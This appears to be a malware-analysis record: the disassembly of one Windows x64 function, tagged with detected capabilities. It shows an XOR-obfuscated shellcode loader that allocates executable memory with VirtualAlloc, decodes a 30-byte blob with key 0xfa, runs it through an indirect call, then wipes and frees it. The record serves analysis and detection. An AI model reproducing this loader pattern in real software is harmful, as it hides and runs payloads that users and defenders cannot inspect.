Function at 0x140004a20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
sub rsp, 0xb8
mov rax, qword [0x1400d90c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
movaps xmmword [r11 - 0x18], xmm6
xorps xmm4, xmm4
cvtsi2sd xmm4, dword [0x1401b7bf4]
movaps xmmword [r11 - 0x28], xmm7
xorps xmm6, xmm6
movsd xmm7, qword [rcx]
xorps xmm5, xmm5
cvtsi2sd xmm6, dword [0x1401b7bf0]
mulsd xmm4, qword [0x1400c83d8]
xorps xmm3, xmm3
mulsd xmm6, qword [0x1400c83d8]
movaps xmmword [r11 - 0x38], xmm8
movsd xmm8, qword [rcx + 8]
movaps xmmword [r11 - 0x48], xmm9
movaps xmm9, xmm1
movaps xmmword [r11 - 0x58], xmm10
movaps xmm10, xmm2
cvtpd2ps xmm7, xmm7
movaps xmmword [r11 - 0x68], xmm11
xorps xmm2, xmm2
xorps xmm11, xmm11
ucomiss xmm7, xmm11
cvtpd2ps xmm8, xmm8
jp 0x140004aad
je 0x140004b10
cvtps2pd xmm7, xmm7
comisd xmm7, xmm6
jbe 0x140004ae7
xorps xmm0, xmm0
movaps xmm3, xmm6
subsd xmm3, xmm7
cvtss2sd xmm0, xmm9
xorps xmm3, xmmword [0x1400c8800]
divsd xmm3, xmm0
movaps xmm0, xmm6
movaps xmm1, xmm3
addsd xmm0, xmm6
addsd xmm1, xmm6
comisd xmm1, xmm0
jbe 0x140004ae7
xorps xmm3, xmm3
comisd xmm6, xmm7
jbe 0x140004b10
xorps xmm0, xmm0
movaps xmm3, xmm7
cvtss2sd xmm0, xmm9
subsd xmm3, xmm6
divsd xmm3, xmm0
movaps xmm0, xmm3
addsd xmm0, xmm6
comisd xmm5, xmm0
jbe 0x140004b10
xorps xmm3, xmm3
movaps xmm9, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x90]
ucomiss xmm8, xmm11
movaps xmm11, xmmword [rsp + 0x50]
jp 0x140004b2c
je 0x140004b90
cvtps2pd xmm6, xmm8
comisd xmm6, xmm4
jbe 0x140004b67
xorps xmm0, xmm0
movaps xmm2, xmm4
subsd xmm2, xmm6
cvtss2sd xmm0, xmm10
xorps xmm2, xmmword [0x1400c8800]
divsd xmm2, xmm0
movaps xmm0, xmm4
movaps xmm1, xmm2
addsd xmm0, xmm4
addsd xmm1, xmm4
comisd xmm1, xmm0
jbe 0x140004b67
xorps xmm2, xmm2
comisd xmm4, xmm6
jbe 0x140004b90
xorps xmm0, xmm0
movaps xmm2, xmm6
cvtss2sd xmm0, xmm10
subsd xmm2, xmm4
divsd xmm2, xmm0
movaps xmm0, xmm2
addsd xmm0, xmm4
comisd xmm5, xmm0
jbe 0x140004b90
xorps xmm2, xmm2
movaps xmm10, xmmword [rsp + 0x60]
movaps xmm8, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0xa0]
cvttsd2si ecx, xmm3
cvttsd2si eax, xmm2
test ecx, ecx
jne 0x140004bbb
test eax, eax
je 0x140004cd3
mov dword [rsp + 0x20], ecx
mov edx, 0x1000
xor ecx, ecx
mov qword [rsp + 0xb0], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x38], 0
mov r8d, edx
mov dword [rsp + 0x24], eax
movdqu xmmword [rsp + 0x28], xmm0
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140004ccb
movdqu xmm0, xmmword [0x1401b79e0]
lea r9, [0x1401b79e0]
mov ecx, reloc.WS2_32.dll_recv
movdqa xmm1, xmmword [0x1400c8820]
mov edx, ecx
xorps xmm1, xmm0
movdqu xmmword [0x1401b79e0], xmm1
nop word [rax + rax]
xor byte [rdx + r9], 0xfa
inc rdx
cmp rdx, 0x1e
jb 0x140004c30
movups xmm0, xmmword [0x1401b79e0]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x1401b79f0]
movsd qword [rax + 0x10], xmm1
mov eax, dword [0x1401b79f8]
movdqa xmm1, xmmword [0x1400c8820]
mov dword [rbx + 0x18], eax
movzx eax, word [0x1401b79fc]
mov word [rbx + 0x1c], ax
movdqu xmm0, xmmword [0x1401b79e0]
xorps xmm1, xmm0
movdqu xmmword [0x1401b79e0], xmm1
nop dword [rax]
nop dword [rax + rax]
xor byte [rcx + r9], 0xfa
inc rcx
cmp rcx, 0x1e
jb 0x140004c90
mov edx, 1
lea rcx, [rsp + 0x20]
call rbx
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400af770
add rsp, 0xb8
ret